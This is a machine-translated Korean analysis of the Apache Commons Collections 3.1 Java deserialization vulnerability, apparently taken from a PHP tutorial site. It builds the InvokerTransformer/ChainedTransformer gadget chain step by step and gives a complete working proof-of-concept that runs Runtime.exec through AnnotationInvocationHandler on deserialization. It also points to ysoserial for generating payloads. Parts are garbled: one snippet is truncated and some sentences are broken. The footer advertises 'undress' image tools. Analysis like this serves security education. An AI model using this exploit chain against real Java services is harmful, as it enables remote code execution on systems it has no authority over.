Apache Commons Collections 역직렬화 취약점 분석 예
1. 소개
이 구성 요소의 역직렬화 취약점은 많은 기사에서 분석되었지만 여전히 여기에 기록되어야 합니다. 결국 이는 Java 역직렬화 취약점 개발에 중요합니다.
Apache Commons Collections는 Java 애플리케이션 개발에서 매우 일반적으로 사용되는 도구 라이브러리로, 많은 강력한 데이터 구조를 추가하고 Java 애플리케이션 개발을 단순화하며 Java에서 컬렉션 데이터를 처리하는 데 인정받는 표준이 되었습니다. Weblogic, WebSphere, Jboss, Jenkins 등과 같은 많은 일반 애플리케이션은 모두 Apache Commons Collections 도구 라이브러리를 사용합니다. 도구 라이브러리에서 역직렬화 취약점이 발생하면 이러한 애플리케이션도 영향을 받습니다. 이것이 역직렬화 취약점이 심각한 이유입니다. 이유.
2. 테스트 환경
jdk1.7.0_21 + commons-collections-3.1.jar
Apache Commons Collections 구성요소 내역 버전 다운로드 주소: http://archive.apache.org/dist/commons/collections/binaries / 또는 maven 종속성을 사용합니다:
commons-collections< /groupId>
.com/frohoff/ysoserial)은 이미 이 구성 요소의 취약성 공격 페이로드를 통합했습니다. 침투 테스트 중에 Java 직렬화된 데이터(16진수 aced 또는 base64 인코딩 형식의 rO0AB로 시작하는 데이터)의 특성만 따르면 됩니다. Java deserialization의 진입점을 찾고 웹 애플리케이션을 기반으로 CommonsCollections 구성 요소가 존재할 수 있다고 추측하면 ysoserial 도구를 사용하여 취약점 공격을 위한 페이로드를 직접 생성할 수 있습니다.
3. 취약점 분석
여기에서는 Transformer 인터페이스와 이 인터페이스를 구현하는 여러 클래스를 사용하여 구성된 코드 실행 취약점 익스플로잇 체인을 분석합니다.
package org.apache.commons.collections; public interface Transformer { //对象转换 public Object transform(Object input); }
public class ChainedTransformer implements Transformer, Serializable { private final Transformer[] iTransformers; ... public ChainedTransformer(Transformer[] transformers) { super(); iTransformers = transformers; } public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; } ... }
public class InvokerTransformer implements Transformer, Serializable { /** The method name to call */ private final String iMethodName; /** The array of reflection parameter types */ private final Class[] iParamTypes; /** The array of reflection arguments */ private final Object[] iArgs; ... public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } //简化后的transform()方法,通过反射机制调用对象的方法 public Object transform(Object input) { ... Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); ... } }
public class ConstantTransformer implements Transformer, Serializable { private final Object iConstant; ... public ConstantTransformer(Object constantToReturn) { super(); iConstant = constantToReturn; } public Object transform(Object input) { return iConstant; } ... }
package orz.vuln.poc;
import org.apache.commons.collections.functors.InvokerTransformer;
public class CommonsCollections {
public static void main(String[] args) throws Exception {
//通过InvokeTransformer类反射调用Runtime代码
InvokerTransformer invoker1 = new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", null});
InvokerTransformer invoker2 = new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, null});
InvokerTransformer invoker3 = new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"calc.exe"});
invoker3.transform(invoker2.transform(invoker1.transform(Runtime.class)));
/*正常反射调用Runtime代码
Class clazz = Runtime.class;
Method m1 = clazz.getMethod("getRuntime", null);
Method m2 = clazz.getMethod("exec", String.class);
m2.invoke(m1.invoke(clazz, null), "calc.exe");
*/
}
}
로그인 후 복사
더 나아가서 Invoker3.transform(invoker2.transform(invoker1.transform(Runtime.class) 대신 ChainedTransformer 클래스의 변환() 메서드를 사용할 수 있음을 발견했습니다. ))) 즉, 위의 여러 InvokerTransformer 개체를 Transformer[] 배열로 초기화하고 Runtime.class를 사용하여 ConstantTransformer 클래스 개체를 초기화하면 어떤 개체를 사용하여 코드 실행을 트리거할 수 있는 Transformer 호출 체인을 구성할 수 있습니다. :
package orz.vuln.poc; import org.apache.commons.collections.functors.InvokerTransformer; public class CommonsCollections { public static void main(String[] args) throws Exception { //通过InvokeTransformer类反射调用Runtime代码 InvokerTransformer invoker1 = new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", null}); InvokerTransformer invoker2 = new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, null}); InvokerTransformer invoker3 = new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc.exe"}); invoker3.transform(invoker2.transform(invoker1.transform(Runtime.class))); /*正常反射调用Runtime代码 Class clazz = Runtime.class; Method m1 = clazz.getMethod("getRuntime", null); Method m2 = clazz.getMethod("exec", String.class); m2.invoke(m1.invoke(clazz, null), "calc.exe"); */ } }
package orz.vuln.poc; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; public class CommonsCollections { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", null}), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, null}), new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc.exe"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform("foo"); } }
그리고 이 클래스에는 Transformer 객체를 호출하는 변환() 메서드가 구현된 checkSetValue() 메서드는 메서드 설명에 따라 setValue() 메서드가 호출될 때 checkSetValue() 메서드가 호출됩니다.
따라서, 우리의 아이디어는 Map 객체와 생성된 악성 Transformer 객체를 사용하여 TransformedMap 객체를 초기화한 다음 setValue() 메서드를 호출하여 Map 객체의 값을 수정하는 것입니다. 코드는 다음과 같습니다.
package orz.vuln.poc; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; public class CommonsCollections { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", null}), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, null}), new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc.exe"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); //chainedTransformer.transform("foo"); Map map = new HashMap(); map.put("foo", "bar"); Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer); Map.Entry entry = (Map.Entry)transformedMap.entrySet().iterator().next(); entry.setValue("test"); } }
계속해서 찾아보세요. deserialization에 의해 트리거된 setValue() 메소드의 실행 위치는 AnnotationInvocationHandler 클래스의 readObject() 메소드에서 마침내 발견되었습니다.
AnnotationInvocationHandler类
AnnotationInvocationHandler类的readObject()方法如下所示:
由于该类不提供公开的构造方法进行初始化,所以,我们通过反射调用该类的构造方法,并使用恶意的TransformedMap对象进行初始化,就可以生成攻击payload。在执行entry.setValue()方法之前,需要满足一个判断条件
根据代码溯源可知,clazz变量是一个注解子类对象的属性值,如果要满足clazz变量不为null的话,在Class clazz=map.get(str)中则需要满足str是我们使用的注解类的属性;在漏洞利用代码中我们使用了java.lang.annotation.Target注解,而该注解只有一个属性value,因此我们在map.put()时,需要保证key的值是value。
最终,完整漏洞利用代码如下:
package orz.vuln.poc; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; public class CommonsCollections { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", null}), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, null}), new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc.exe"}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); //chainedTransformer.transform("foo"); Map map = new HashMap(); map.put("value", "bar");//由于使用java.lang.annotation.Target,此处key值必须为value Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer); //Map.Entry entry = (Map.Entry)transformedMap.entrySet().iterator().next(); //entry.setValue("test"); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Target.class, transformedMap); FileOutputStream fos = new FileOutputStream("D:/commonscollections.ser"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(instance); oos.close(); fos.close(); FileInputStream fis = new FileInputStream("D:/commonscollections.ser"); ObjectInputStream ois = new ObjectInputStream(fis); ois.readObject(); ois.close(); fis.close(); } }
위 내용은 Apache Commons Collections 역직렬화 취약점 분석 예의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

핫 AI 도구

Undresser.AI Undress
사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover
사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool
무료로 이미지를 벗다

Clothoff.io
AI 옷 제거제

AI Hentai Generator
AI Hentai를 무료로 생성하십시오.

인기 기사

뜨거운 도구

메모장++7.3.1
사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전
중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기
강력한 PHP 통합 개발 환경

드림위버 CS6
시각적 웹 개발 도구

SublimeText3 Mac 버전
신 수준의 코드 편집 소프트웨어(SublimeText3)

뜨거운 주제











Java는 Collections 클래스의 빈도() 함수를 사용하여 컬렉션에서 지정된 요소의 발생 횟수를 계산합니다. Java 프로그래밍에서 Collections 클래스는 컬렉션에서 작동하는 많은 정적 메서드를 포함하는 유틸리티 클래스입니다. 그 중 하나는 컬렉션에서 지정된 요소의 발생 횟수를 계산하는 빈도() 함수입니다. 이 기능은 매우 간단하고 사용하기 쉬우며 Java 개발자에게 편의성과 유연성을 제공합니다. 다음은 사용 방법을 보여주는 샘플 코드입니다.

Java는 Collections 클래스의 binarySearch() 함수를 사용하여 정렬된 컬렉션에서 이진 검색을 수행합니다. 이진 검색은 정렬된 컬렉션에서 특정 요소를 찾는 효율적인 알고리즘입니다. Java에서는 Collections 클래스의 binarySearch() 함수를 사용하여 이진 검색을 구현할 수 있습니다. 이 기사에서는 BinarySearch() 함수를 사용하여 정렬된 컬렉션에서 검색하는 방법을 소개하고 특정 코드 예제를 제공합니다. 이진 검색 알고리즘의 기본 아이디어

Java는 Collections 클래스의 shuffle() 함수를 사용하여 컬렉션의 요소 순서를 방해합니다. Java 프로그래밍 언어에서 Collections 클래스는 컬렉션을 작동하기 위한 다양한 정적 메서드를 제공하는 도구 클래스입니다. 그 중 하나는 컬렉션의 요소 순서를 섞는 데 사용할 수 있는 shuffle() 함수입니다. 이 문서에서는 이 함수를 사용하는 방법을 보여주고 해당 코드 예제를 제공합니다. 먼저 java.util 패키지에서 Collections 클래스를 가져와야 합니다.

Java에서는 컬렉션을 정렬하기 위해 Collections 클래스의 sort() 함수를 사용합니다. Java에서는 컬렉션을 정렬해야 하는 경우가 많습니다. Collections 클래스는 컬렉션을 쉽게 정렬할 수 있는 sort() 함수를 제공합니다. 이 기사에서는 코드 예제와 함께 Collections 클래스의 sort() 함수를 사용하여 컬렉션을 정렬하는 방법을 소개합니다. 먼저 Collections 클래스를 사용하려면 java.util 패키지를 가져와야 합니다. 꼬마 도깨비

Java는 컬렉션의 최대값을 얻기 위해 Collections 클래스의 max() 함수를 사용합니다. Java 프로그래밍에서는 컬렉션에서 최대값을 얻어야 하는 경우가 많습니다. 이 프로세스를 단순화하고 코드의 가독성과 효율성을 향상시키기 위해 Java는 Collections 클래스의 max() 함수를 제공합니다. 이 기능은 집합에서 최대값을 쉽게 찾는 데 도움이 됩니다. 이 기사에서는 해당 코드 예제와 함께 Collections 클래스의 max() 함수를 사용하는 방법을 소개합니다. 콜

Python 2.x에서 고급 데이터 구조 작업을 위해 컬렉션 모듈을 사용하는 방법 소개: Python의 표준 라이브러리에서 컬렉션 모듈은 다양한 작업을 용이하게 할 수 있는 몇 가지 고급 데이터 구조를 제공합니다. 이 글에서는 collections 모듈에서 주로 제공되는 여러 데이터 구조를 소개하고 관련 코드 예제를 제공합니다. 1. CounterCounter는 반복 가능한 객체의 각 요소를 계산하는 데 사용할 수 있는 간단하고 강력한 카운터 도구입니다.

1. 소개 이 컴포넌트의 역직렬화 취약점을 분석한 기사가 인터넷에 많이 있지만 여기에 기록합니다. 결국 이는 Java 역직렬화 취약점 개발에 중요합니다. Apache Commons Collections는 Java 애플리케이션 개발에서 매우 일반적으로 사용되는 도구 라이브러리로, 많은 강력한 데이터 구조를 추가하고 Java 애플리케이션 개발을 단순화하며 Java에서 컬렉션 데이터를 처리하는 데 인정받는 표준이 되었습니다. Weblogic, WebSphere, Jboss, Jenkins 등과 같은 많은 일반 애플리케이션은 모두 Apache Commons Collections 도구 라이브러리를 사용합니다. 도구 라이브러리에 역직렬화 취약점이 발생하면 이 문제가 발생합니다.

Laravel 개발: LaravelCollections를 사용하여 컬렉션 데이터를 조작하는 방법은 무엇입니까? 컬렉션은 Laravel 개발에서 매우 강력하고 실용적인 도구입니다. 개발자는 LaravelCollections를 사용하여 컬렉션 데이터를 쉽게 조작하고 처리할 수 있습니다. 이번 글에서는 LaravelCollections를 사용하여 컬렉션 데이터를 조작하는 방법을 소개하겠습니다. 1. 컬렉션이란 무엇입니까?
